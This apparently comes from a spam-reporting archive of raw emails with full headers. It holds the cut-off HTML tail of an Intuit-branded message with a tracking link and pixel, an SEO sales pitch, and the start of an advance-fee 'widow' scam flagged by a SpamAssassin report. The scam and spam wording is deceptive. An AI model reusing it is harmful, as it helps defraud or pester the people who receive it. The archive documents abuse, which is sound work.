SL8Ik2M12LHRdOH4c8sm3JscHod2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0bdQC9Q=

HSAW9j2pF8YXTVAgwn1W3pgQUNv5eCLWyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2BRHJy167d=

cwLkaX3FWWGYZrQC54kIUgOIH9-2B7sN15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2FVdy58n3=

HBH5t5hoB19rNqlzSDX2JP3sC-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ=

4BjjNGEs4fbKZh7vKYIyGRJBW425R1GsB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR4=

00tV21pU5QA285t3fFDd9JR6KsgGm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBP=

apbpv9o1GpOZxBe8LNhuHOrqW4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LC-2Bs6=

NM-2B5QVbXyXN50UEby0eOfdtNvTpARhiEdAMMWJKxudjkR76ycvVH-2BL7F-2BwUXgls-2BoWm=

QXQHvAoJdWZQX5NIEm17g8-2FuuRULEkfA4DOhvb2CNc7-2B8jbqnw0iUm4k0KlxAEClhUZqtWQ=

M-2BPuMa67JVowyDah2bWmS-2B-2BaIs1pmjVbZiv0RRd-2F7-2BKxptsxtm8-3D" target=3D=

_blank>Trademarks.
2‍800 E. Commerce Center Place, T‍ucs=

on, A‍Z 8‍5706

ING-RIGHT: 0px">
'Avenir Next', Avenir, Helvetica, sans-serif; COLOR: #393a3d; TEXT-ALIGN: c=

enter; DISPLAY: block" border=3D"0" alt=3D"Intuit" src=3D"cid:469ad354ce8f8=

f0d1a6c802e6fc15245.png" width=3D"600" height=3D"50">

ADDING-LEFT: 0px; LINE-HEIGHT: 1px; PADDING-RIGHT: 0px" align=3Dcenter>
class=3D"mobile_dualimage" style=3D"DISPLAY: none" border=3D"0" alt=3D"" s=

rc=3D"cid:7786c5779cdd5b1386ea260e58a15c7b.png" width=3D"640" height=3D"241=

">

alt=3D"" src=3D"cid:5a2f9fdccbde8fc5d477916d190eec86.png" width=3D"1" heigh=

t=3D"20">
border=3D"0" alt=3D"" src=3D"cid:5a2f9fdccbde8fc5d477916d190eec86.png" wid=

th=3D"20" height=3D"1">
0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px"> 

0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px" height=3D1 colSpa=

n=3D3> 


 



!important; BORDER-BOTTOM-WIDTH: 0px !important; PADDING-BOTTOM: 0px !impo=

rtant; PADDING-TOP: 0px !important; PADDING-LEFT: 0px !important; MARGIN: 0=

px; PADDING-RIGHT: 0px !important; BORDER-TOP-WIDTH: 0px !important" border=

=3D"0" alt=3D"" src=3D"cid:open" width=3D"1" height=3D"1">



------=_NextPart_000_0012_269F1377.E54A8850

Content-Type: image/png; name="5a2f9fdccbde8fc5d477916d190eec86.png"

Content-Transfer-Encoding: base64

Content-ID: <5a2f9fdccbde8fc5d477916d190eec86.png>

Content-Disposition: inline; filename="5a2f9fdccbde8fc5d477916d190eec86.png"



iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAAXNSR0IArs4c6QAAABdJREFU

KFNjZCASMBKpjmFUId6QIjp4AAppAAuXjCs4AAAAAElFTkSuQmCC



------=_NextPart_000_0012_269F1377.E54A8850

Content-Type: image/png; name="04b97cd8e505b31acd83af8b748bc8a2.png"

Content-Transfer-Encoding: base64

Content-ID: <04b97cd8e505b31acd83af8b748bc8a2.png>

Content-Disposition: inline; filename="04b97cd8e505b31acd83af8b748bc8a2.png"



...



------=_NextPart_000_0012_269F1377.E54A8850

Content-Type: image/png; name="7786c5779cdd5b1386ea260e58a15c7b.png"

Content-Transfer-Encoding: base64

Content-ID: <7786c5779cdd5b1386ea260e58a15c7b.png>

Content-Disposition: inline; filename="7786c5779cdd5b1386ea260e58a15c7b.png"



...





------=_NextPart_000_0012_269F1377.E54A8850

Content-Type: application/octet-stream; name="open"

Content-Transfer-Encoding: base64

Content-ID:

Content-Disposition: inline; filename="open"



R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==



------=_NextPart_000_0012_269F1377.E54A8850--

Web/SEO/app spam from Microsoft Outlook

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 11 Nov 2026 13:59:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xRESz-00000000OaX-2qRh

for dave@doctor.nl2k.ab.ca;

Wed, 11 Nov 2026 13:58:45 -0600

Resent-From: The Doctor

Resent-Date: Wed, 11 Nov 2026 13:58:45 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-japanwestazolkn19012053.outbound.protection.outlook.com ([52.103.66.53]:15834 helo=OS8PR02CU002.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xR9MV-00000000II1-36AI

for sales@nk.ca;

Wed, 11 Nov 2026 08:31:48 -0600

ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;

b=XzIbIqedymH9O8EUdlr43x/Ckyrr7CvdbsYBlxCUYIDDnBkScfcyz1MqmclMggdLWijbmTFd/yf9jSerzFAM3U3P7r+0A3wgRaaMpCOqytu/lnVIKAFGJCaGHGBWAoh4jGJTkJWPeKHS+p8amkmmYCNyaj+vWrK7DwMJjZEQ+XC77H+X3yQM/7nhfeM2CcfABrjyjpKv6wUqpaL/kUYm6wMb0UvjwxGYG70CyJAZs9N8NFNmWxiPgn9b5ydHqzS314OigUCnXaGsXBkEo2gTLLXOBXcvWyrfqPywDyLMXAuyMOLEzYgc7b1wFswfOR8HdT1S2mfIcpuNirEMcyJ0BA==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector10001;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=7NWXTCoUcw6DmhwC9iZWjUOguY3phFySeFev6EGD+ls=;

b=WteCIYHQWCNLe5SVezrpWimn4JkHhTSpYFHom67RCVKQ9tQFIMdIxtQ5HaAMTm99ES8XxeVoGCwUhEKCVMZ3DP1n2Iz/SW6cLBNC1J66W1kik+SpKhaGQJOIojCa51aTYF4bI8lPRw299XQVPwpPai6QPYl3llxAsXkw9Yy8ajMF02K3wU/pDSJHmFBRscE1sPwA8C9mwk/czqhqC5+TKji8khxIWUSfTU7//iMJz5Y+nfT7OUiDM0J+xwD2rj8Ah2MeL1Jp3RNDa+Os35puUpWIUee0Ju2IAD4vnXDnhtGY2aNL9bm61pmux94/TitRtE4sAb+xyog1zr1V5Bt1vw==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;

dkim=none; arc=none

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=hotmail.com;

s=selector1;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;

bh=7NWXTCoUcw6DmhwC9iZWjUOguY3phFySeFev6EGD+ls=;

b=c2aOSFJGbe7ZJ8w+0ThN833mq2PiGQKAaf+fUIkZW4aTMn+e89IjXd2ojA15MJ08EE8lmqEnGboC1H/fYMZtAuXzz3aE3rciiZl0cREwLRHg7QfI955fSTzih2NmJ5nartJOJcVuUw62Jg77GF8ryf2UXZYaC7mgrQ+d2zk714J0dH764geZN3IN3dpV0KvSNHkk5G98roQYdkLCj3+Sz7MHfzIBvWqhiLKAJnutP5mZ7JnUv3yy1yEp7HjE35y4E0cD4Bh20o9w47Nc9UOd96U8rPMAGdJREgrNJmsrcLiq7Qvi0+33mpoessYsoR8LaCLtlKP9Ax6Vo1JEKl7qMQ==

Received: from KUYPR01MB8090.apcprd01.prod.exchangelabs.com

(2603:1096:d10:92::8) by SEZPR01MB5125.apcprd01.prod.exchangelabs.com

(2603:1096:101:e4::15) with Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.592.9; Wed, 11 Nov

2026 14:30:17 +0000

Received: from KUYPR01MB8090.apcprd01.prod.exchangelabs.com

([fe80::5742:3bab:9c03:4108]) by KUYPR01MB8090.apcprd01.prod.exchangelabs.com

([fe80::5742:3bab:9c03:4108%7]) with mapi id 15.21.0615.007; Wed, 11 Nov 2026

14:30:17 +0000

From: Aurora Ross

To: Aurora Ross

Subject: Re: price

Thread-Topic: price

Thread-Index: AQHdcEV00nPB2FIRTU2HQOaMxzIvhrco8Tvh

Date: Wed, 11 Nov 2026 14:30:13 +0000

Message-ID:



References:



In-Reply-To:



Accept-Language: en-US

Content-Language: en-US

X-MS-Has-Attach:

X-MS-TNEF-Correlator:

msip_labels:

x-ms-publictraffictype: Email

x-ms-traffictypediagnostic: KUYPR01MB8090:EE_|SEZPR01MB5125:EE_

x-ms-office365-filtering-correlation-id: 18f42ad1-88a8-4ca5-f813-08df40004e41

x-microsoft-antispam:

BCL:0;ARA:14566002|15080799012|16051099003|31061999003|55001999006|15030799006|37011999003|51005399006|19101099003|8060799015|25010399006|19110799012|2604032031799003|8062599012|704163111799003|3412199025|440099028|102099032|40105399003|1710799026;

x-microsoft-antispam-message-info:

=?us-ascii?Q?hFbLei/81FHYnk/+xqIaHa7PWEGl6hu/qdiNANqeP7IAl6X+etiunYwtFOBY?=

=?us-ascii?Q?55CGzpa71VVOCb3y6n6K6o6p4qFzk5N6XLQ89L5zlLnrTcpUBLu+2qereViB?=

=?us-ascii?Q?tbFXFMsvoKefajeqtLLPtdAKp5htN3OFyGCSeQnmlf00oGVGrgScET9H7yO0?=

=?us-ascii?Q?ffOcsNNo11AP/9XZoMkDHn1OhtU3dRf7jwWM9oDgTYcaz8I1/IF7Q5i++6DR?=

=?us-ascii?Q?N+GjdhjOxIe0+gbi48RO39uzC2y/fya4E+bZ6Yj+h4kIdP3yLicwp/lbHI7b?=

=?us-ascii?Q?02jc3z2PPVJqYHP28T57c9ft474r1yRs4kWKoioSdoqvV2/3TLA53JMpc9IB?=

=?us-ascii?Q?kr+F+BDPQ4EivClEdQmCUC//lHUzwMIRr79umvV8EX8HhD1A19XV8qlHZf8T?=

=?us-ascii?Q?pAfPuY8Jj24ryK9WGtXIlbXijl64T2MGH6/LLp1VeBCpG4x9T1MgEodePGXr?=

=?us-ascii?Q?KJjTnM0kWFUaQQRYSN4n88cgJx3yvHTJbYsmkBTEG5vViYl5lfmdmjEA8dbE?=

=?us-ascii?Q?JEPSzXtzHrLeiJ6lAzPItMb+nydU7xfBXKFCV3EjHPRsTNmwCzDI10PhgTmj?=

=?us-ascii?Q?nbDc+XxR4sE8CHxgbYYaLeWVY9XyfYAk+HLcvRIsKnTCEqHPWb/Px2a74M6N?=

=?us-ascii?Q?PR9hNJjyvNM75qWyhS8RkofjAx0diaPbZh4YUH4FhSObcHOlAo9fx3Tq8ONn?=

=?us-ascii?Q?hOwj8DrNK1rzP3HjvXnkqSCyAxBHJ3hgPEaaSKmvAr5HCCNA8V0SnaicO669?=

=?us-ascii?Q?ecKZw0dmZB/GL7Nfk3DUiAKJGZiuoPOcji8jymF2VUTO6VnZF31K6waCZUTX?=

=?us-ascii?Q?GgUKqYVh4RZsrr3jJHsd9cBVk/EDNdsvgDqzLD98de9V+eCcgegNZMEnFSAo?=

=?us-ascii?Q?vFnBwu0ebVUwI1dKc2BTotGd4N+XX0GV5tVx4oOg27unYVRaH3JfKqZjvbwz?=

=?us-ascii?Q?puaOYGy6BoMLG1+Mj/MJ+z6XuOS9WUia04ZlFy8W8x+ipM5iBl2AvQDx9YjP?=

=?us-ascii?Q?kQuerGyESWv1Y9T/l63HiV+vMo6N7KFehzC1JZdKdff58gCdPJaqMsbxf/+l?=

=?us-ascii?Q?gYFZrpA4obabKBJNv+oZkIKJJms3FtTo8Y15+bWrauxUmwF1LksqIoznIbfh?=

=?us-ascii?Q?Rkq9aD+kqhdTcmc0DKsyp1h+amy1oitM0n1wzzVxUw91p2sGokLHmEyBWnZh?=

=?us-ascii?Q?diZULZoBT+QRY4ZH?=

x-ms-exchange-antispam-messagedata-chunkcount: 1

x-ms-exchange-antispam-messagedata-0:

=?us-ascii?Q?0uyExoUr0XhHi8WAM63LEFUESm8zgwKaAJ/T+zuQ0YZfxsiiARruUuS5bvb0?=

=?us-ascii?Q?IBkmwOA0RAECTGEoBCD3CXubvsKBRIXnx+bUVXRZas7rCBiklcOMBstE4wTW?=

=?us-ascii?Q?Mdc5Bl947MXW9pYmpRLWCgzykGs4umbRWGTMvpWPBywL9bvfRwozf3aPd1LU?=

=?us-ascii?Q?OgkIvmIRw8s/FS1PkbiExY4GrgpozmoeHDBa+2Tc7KJ5UEA9AJqYtTQwO5k0?=

=?us-ascii?Q?yuPtl+zw9nfGN5+y/pjPRuMA2gvCkTLHPQqjGzJfoTnJ05ByqVVMM6lwyhHM?=

=?us-ascii?Q?CRRwfdpj3BPrMy6tctYLD7PHKo/8ptMa8/1lsnLSScKyuGdZ8RBziNWBnAJU?=

=?us-ascii?Q?uiJWeRXGLgbzsqdoCAsEFMINDKYRPayrhiK6Y4nEvFnzh21l5ESGQumHcXj0?=

=?us-ascii?Q?XwTgMctdZEA6uuzWvOlXr8aYzLIqyjHSYnXPB87XlBfP9S4V83CE0df9F3YO?=

=?us-ascii?Q?RR7XHPXfwJ7k4QCx2AnX+vk1/T6U7U6TRfhknA0aMgCnmrJWj1Aj788LjMVn?=

=?us-ascii?Q?hEpGjHDZx6HdJz4mcuOH6r5ojtg9Xa42kRS1x78KIC0Mw5FmAglwfb4TzT6M?=

=?us-ascii?Q?GHLVs6X85Ckw8rGiMcHhAC/sGrrF4eRpNhd3+1tZYvhLfmM2hYiuZow6J08l?=

=?us-ascii?Q?wGcrUeSzigAT0XbLDIPcYmzG8/gShQ/hShJmrW5aIfbqgnqCW+DfkVjqZfJm?=

=?us-ascii?Q?nhDaul4F812l3ZG1ZpRAK99sjTDEnf4BS0scJPMsLZ8rmAATT02/FVbwEqdM?=

=?us-ascii?Q?uN7U0+cwoGSlGnM6wvql2z4dit6W9jNWkirT653oz4GXsh5ywhO9uX0OCeUU?=

=?us-ascii?Q?aPCVkOWseXZWCF8XaNEwkGVHxaKAwN1cqpt2Gv14TQZfcz53SzK97RQEyOJp?=

=?us-ascii?Q?s79f4X3tl9Ycyo/18aKtJX2Zn3o3S+YgiC8IFAprJTnZncrPhTgUx0J4KHs1?=

=?us-ascii?Q?1aMkj9HhoviZDHlpBcBigh6pQqt8UB5TcXjKN81hl6I2eOFwRsA3lTbymFP9?=

=?us-ascii?Q?jI/1hF2JLO+ZqTWSqj1f1uBNEVjBQ84+mAMy/n5hMi53K0JgLDxex1DDvN0M?=

=?us-ascii?Q?xRAnM7sqHzYGjc4yW761vDL3MO3wKkrVDekk0BHICotcubnUC8TzBbYcUY7O?=

=?us-ascii?Q?hNCeX4wYnQslrpXHLKyI5wg/qDGhtbyfs/mNuy2CuC6HRiK5uwsWYJCK5DOY?=

=?us-ascii?Q?96MDw/O2pGHqVo1fjytKztkfyLEdJ7p95G9q+B6xnk+cYcuOf11P89zPLBjI?=

=?us-ascii?Q?acg0WqTNKZl3LLc5WS6Yp6wADm8s7JfZZAi+y/4JM6lSVTBMM3erYAcNBqtU?=

=?us-ascii?Q?SVUVGeHVRQa2UNfEDMvuL7+uTc9fBjJ9U8VklG3Ijm1eI9daaoU0kMh5GmIG?=

=?us-ascii?Q?nRNe4+55YtiI2jfSFvTk6vCJOOURz3+LeX9MgQ78RGv0yAs7dXBT8xhHoEdE?=

=?us-ascii?Q?DtcJuB4vpCQYINZtcIdamVeDnQKLPl57?=

Content-Type: multipart/alternative;

boundary="_000_KUYPR01MB80908024DEB6183D960E44659A712KUYPR01MB8090apcp_"

MIME-Version: 1.0

X-OriginatorOrg: sct-15-20-9412-4-msonline-outlook-3e488.templateTenant

X-MS-Exchange-CrossTenant-AuthAs: Internal

X-MS-Exchange-CrossTenant-AuthSource: KUYPR01MB8090.apcprd01.prod.exchangelabs.com

X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-CrossTenant-Network-Message-Id: 18f42ad1-88a8-4ca5-f813-08df40004e41

X-MS-Exchange-CrossTenant-originalarrivaltime: 11 Nov 2026 14:30:13.5125

(UTC)

X-MS-Exchange-CrossTenant-fromentityheader: Hosted

X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa

X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-Transport-CrossTenantHeadersStamped: SEZPR01MB5125



--_000_KUYPR01MB80908024DEB6183D960E44659A712KUYPR01MB8090apcp_

Content-Type: text/plain; charset="us-ascii"

Content-Transfer-Encoding: quoted-printable



Yes!



Can I send you Proposal and report, showing how we can help?



Please Reply "Yes or Sure"



Thanks you;

________________________________

From: Aurora Ross

Sent: Monday, November 9, 2026 12:27 PM

To: Aurora Ross

Subject: price







Hi,



We help business get found more easily in Google search results and in AI-g=

enerated answers (Gemini, ChatGPT, etc.)



I can help your website appear on the 1st page of Google, Yahoo, etc.



May I send you the price list and SEO proposal to improve this?



Best,



--_000_KUYPR01MB80908024DEB6183D960E44659A712KUYPR01MB8090apcp_

Content-Type: text/html; charset="us-ascii"

Content-Transfer-Encoding: quoted-printable








>








nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">

Yes!



nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">







nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">

Can I send you Proposal and report, showing how we can help?



nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">







nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">

Please Reply "Yes or Sure"



nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">







Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);">

Thanks you;







yle=3D"font-size:11pt" color=3D"#000000">From: Aurora Ross


Sent: Monday, November 9, 2026 12:27 PM


To: Aurora Ross <aurora.graygraph@hotmail.com>


Subject: price

 









bri,Helvetica,sans-serif; font-size:12pt; color:rgb(0,0,0)">









bri,Helvetica,sans-serif; font-size:12pt; color:rgb(0,0,0)">







bri,Helvetica,sans-serif; font-size:12pt; color:rgb(0,0,0)">

Hi,



bri,Helvetica,sans-serif; font-size:12pt; color:rgb(0,0,0)">







bri,Helvetica,sans-serif; font-size:12pt; color:rgb(0,0,0)">

We help business get found more easily in Google search results and in AI-g=

enerated answers (Gemini, ChatGPT, etc.)



bri,Helvetica,sans-serif; font-size:12pt; color:rgb(0,0,0)">







bri,Helvetica,sans-serif; font-size:12pt; color:rgb(0,0,0)">

I can help your website appear on the 1st page of Google, Yahoo, etc.



bri,Helvetica,sans-serif; font-size:12pt; color:rgb(0,0,0)">







bri,Helvetica,sans-serif; font-size:12pt; color:rgb(0,0,0)">

May I send you the price list and SEO proposal to improve this?



bri,Helvetica,sans-serif; font-size:12pt; color:rgb(0,0,0)">







bri,Helvetica,sans-serif; font-size:12pt; color:rgb(0,0,0)">

Best,












--_000_KUYPR01MB80908024DEB6183D960E44659A712KUYPR01MB8090apcp_--

Nigerian spam from Google Gmail

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 11 Nov 2026 05:45:59 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xR6lC-00000000Ja7-19fE

for dave@doctor.nl2k.ab.ca;

Wed, 11 Nov 2026 05:45:02 -0600

Resent-From: The Doctor

Resent-Date: Wed, 11 Nov 2026 05:45:02 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-ej2-f3.google.com ([74.125.228.131]:40627)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xR4Vp-00000000M9T-35ln

for doctor@doctor.nl2k.ab.ca;

Wed, 11 Nov 2026 03:21:04 -0600

Received: by mail-ej2-f3.google.com with SMTP id a640c23a62f3a-c50485c0cb8so98586066b.0

for ; Wed, 11 Nov 2026 01:20:07 -0800 (PST)

ARC-Seal: i=1; a=rsa-sha256; t=1794388800; cv=none;

d=google.com; s=arc-20260327;

b=a1T8gKG0pQbJo0ajyQ/S7wWXX7RyxaLCVR3RPxGVoKjZFKo5DiNkCFjOTJAeYTs582

C+KhpJslbQpxNjlQDos7nTyzKgb7wR9VMA6ivqjqxeM5FzFoFjnvW21fovk2gM68Vp8W

Uo3HN+RdJ+ZvxUsbRUvSqlEtm+1BcIG68IQE4XMONj8C4V56JuJKROlxm/zyb5lWkxU2

Hcy/cy89R7cqduo+D1cFgBpGfMBczdNtDesLJ9sPTqDFRa2/DeBa8WL+PlSMHSrWVd2i

olR2OosdV2/63yxl0ChhVGad+sWhGlywZ20oMh1ZEuGvrEdT4yPNYFxVZeTkePc98E2n

2fUQ==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;

h=to:subject:message-id:date:from:reply-to:mime-version

:dkim-signature;

bh=5yFNbJw0AgQox9Hl+K6aiqgTN5pt+wP1oDYqRR1gVts=;

fh=cK6liuWNhQOyaO6o5idOempiAiSnPc5gnNgpewLK4+0=;

b=OPPDloXPHQ2otrl/STTm/59qzkoFSXO77JU6FK+GahiFH4y1TFiyZwBks6immt9Cv2

p6x5tJRVtaWgeC6/nRkbF4MsKE+582hR8COLNmavVk4qQIxDh8H08FOjpq6eSmARw4+D

vsR85O/n7wTBB8/ZKYdQkqDv+JIgSBEjQz3EniMo9s9BZ+gaVtLOI9pjLkY3mJkS7bBS

IDjM1mDjatMfhtrpxrVxhpth2B2l72hl2SGuBweqWNL0w8l+cgO8eydME6XINsCjCqhq

xKOo02SKI+nbCjgcQ0tECdI3QDycfCszv+VNMP104Mv/nTiTyOrH+uD0cKzx8jtvbe6X

iEXA==;

darn=doctor.nl2k.ab.ca

ARC-Authentication-Results: i=1; mx.google.com; arc=none

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=noun-edu-ng.20260707.gappssmtp.com; s=20260707; t=1794388800; x=1794993600; darn=doctor.nl2k.ab.ca;

h=content-type:to:subject:message-id:date:from:reply-to:mime-version

:from:to:cc:subject:date:message-id:reply-to:content-type;

bh=5yFNbJw0AgQox9Hl+K6aiqgTN5pt+wP1oDYqRR1gVts=;

b=RTJnt8cuNkyDUsnQDX/IZBQqpJ2lgRqydIFvA68tG2qwos0P3AJ8T0uumRN6L6IjOP

LDqXSGrbI1/LDbzQcd926/3dzcC5nMZut3LWfSzn4TTLPleaNch+ZwItmHhCKTuv0LNA

E62+On+QqK4N9IG6/TkisrnWJsNL3a4B3YQcriaWfyF4DA5mA+E5hMzo78FpfXjVaalR

Hj4qsoqptJPSU8mwmtlkCpocZhm28suQ/Ja3MU077YJD2J2UdXIwg7N+06AbWJlvjbEF

tqB29b4k/EjG47MGr3xQdMKMwlptbuUk7OCh3nMFxGv0mHv6DLxPCubR5sz977De6C8l

JGFA==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20260707; t=1794388800; x=1794993600;

h=content-type:to:subject:message-id:date:from:reply-to:mime-version

:x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id

:reply-to:content-type;

bh=5yFNbJw0AgQox9Hl+K6aiqgTN5pt+wP1oDYqRR1gVts=;

b=lyGNHNcK1fXZFZrLx1eUpftP7Fri6pLzCv0IJnrWXUYNZdKWe6ZJi2THSxNEfOZWez

LCWZfOfHXhlKDVjszpR/r3QclC3GmZMjqKImu7t1EoOWCO4FdAXHjaZSOftMyVwWpuqR

vP2V7cB3o/ArW7AdVBKFEiYWiHKpwQdWi/ok7yQCTZlPo5CXWdbDrYtDRID6dWQrVRNa

2HcCP+wdIs1ltANQTN37k64SNDzQKCwCi9k1DudSh/Le8bMIClNC0npQkjMDNauTHWy3

BdjyP5zCcGr894W7t8wcN2OagL8N+jgq/Am7GwRF3AHBFIp2p9tVG8v/70/ZAcLZvMxI

80BQ==

X-Forwarded-Encrypted: i=1; AL+hErGvVZaGEEusIS0ElzmWTAaVgNc0PUVNElM5lHS6U+vkDKXCxSK5zgOa94wgCScEHhNktBu7PsM=@doctor.nl2k.ab.ca

X-Gm-Message-State: APuU4Z8W1dLAnjMVyOUFf0uB6TxeamoE6QfRAPjwnSQwakNEa6AD33jQ

Jjez/rlreLnXGQbNu9HAuH7u/y2+CL/uEP9XEP4wH9XYVlD5r65B+1/arosIbUg/QK8qNwV1riB

OhO0oF3H3pdWU6I2dKvcKCfWdAbktys7DRye2N6YEnR0IsNnMTzMDbKYgViJknNUeHavdNfeUV0

7vXkk9dQvfQwMBJwX+xSGcEfT8IyU4

X-Gm-Gg: AYBFou2qWhiXMaSlSaB5Tt//oALM/DqQJSOc9fbcxUL75UtOjk7pVB23Ifz+ppMl2hp

qx56QlqKIpQuZ1qexy19RDTSWgwTWGUfHVIT7+jB+P/ysNiMy9JdXEszRsiKdSKMmtvh4PW3kZP

74R68swWqDAkROYiH3csC+qWpjjjiPesRv/6i6ZMCk2evaZeZG/6V/ZufFwQZS0kcNzrPF+6F1m

sd4mkWjFaoLiwQ3/8TNJtH68BZ802T3on7K1urmVQBDOAhnUrozOMYfn7qfJy4I2YXyF3EXeoSv

MLcseLLck4FzQ+FIC5cnUJh7IyfYSCyMIzWDRqA3xte2awPazVH7X6uoWgrsSKc/70HsRv0IA2O

LaToO3+6qeFRcqRF4VsQBGl2NhlGR4PwingCnohxvUpZJVAKz+MIF6BygdYHCs8E9yecO8O/oYS

FmjTbPorRUqWGp40c2eaZgCBQadHI2I9RHqWR/12rj

X-Received: by 2002:a17:907:1c9a:b0:c29:f5d8:9c78 with SMTP id

a640c23a62f3a-c5066b5f523mr130670266b.39.1794388799714; Wed, 11 Nov 2026

01:19:59 -0800 (PST)

MIME-Version: 1.0

Reply-To: mj6690849@gmail.com

From: "Mrs. Mary Johnson"

Date: Wed, 11 Nov 2026 01:07:58 -0800

X-Gm-Features: AclHuK__SRYTIqKmvW3KqBhWic8POsEMl_CF1I-V2ifD6jGP-dOFzevy2fwha2I

Message-ID:

Subject: Trust

To: undisclosed-recipients:;

Bcc: doctor@doctor.nl2k.ab.ca

Content-Type: multipart/alternative; boundary="000000000000ff0ab2065ffcb2bb"

X-Spam_score: 13.5

X-Spam_score_int: 135

X-Spam_bar: +++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Hello, I know it will be a great surprise reading from me

today but consider this a divine intervention. My name is Mrs. Mary Johnson,

a widow from Milwaukee, WI 53204. I am presently writing to you from my [...]





Content analysis details: (13.5 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[74.125.228.131 listed in will-spam-for-food.eu.org]

[74.125.228.131 listed in will-spam-for-food.eu.org]

[74.125.228.131 listed in will-spam-for-food.eu.org]

[74.125.228.131 listed in will-spam-for-food.eu.org]

[74.125.228.131 listed in will-spam-for-food.eu.org]

[74.125.228.131 listed in will-spam-for-food.eu.org]

[74.125.228.131 listed in will-spam-for-food.eu.org]

[74.125.228.131 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[74.125.228.131 listed in dnsbl.ahbl.org]

[74.125.228.131 listed in dnsbl.ahbl.org]

[74.125.228.131 listed in dnsbl.ahbl.org]

[74.125.228.131 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[74.125.228.131 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[74.125.228.131 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[74.125.228.131 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[74.125.228.131 listed in dnsbl.ahbl.org]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

